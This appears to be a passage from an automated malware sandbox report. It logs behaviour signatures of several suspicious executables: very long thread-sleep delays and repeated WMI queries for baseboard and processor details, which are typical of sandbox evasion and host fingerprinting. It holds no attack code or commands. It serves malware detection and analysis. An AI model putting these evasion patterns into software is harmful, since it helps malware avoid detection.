Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59047s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -58932s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 7068	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -1199988s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59877s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59754s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59629s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59504s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59363s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59238s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59113s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -58988s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -58863s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -58738s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -599905s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -119750s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59765s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59656s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59547s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59438s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59314s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59189s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -598968s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59766s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59657s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59532s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59408s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59286s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59157s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59860s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59751s >= -30000s	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe TID: 2124	Thread sleep time: -59626s >= -30000s	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe TID: 6388	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5772	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe TID: 3852	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe TID: 4364	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe TID: 1364	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe TID: 4480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe TID: 4040	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe TID: 4040	Thread sleep time: -310000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe TID: 5772	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe TID: 5772	Thread sleep time: -390000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
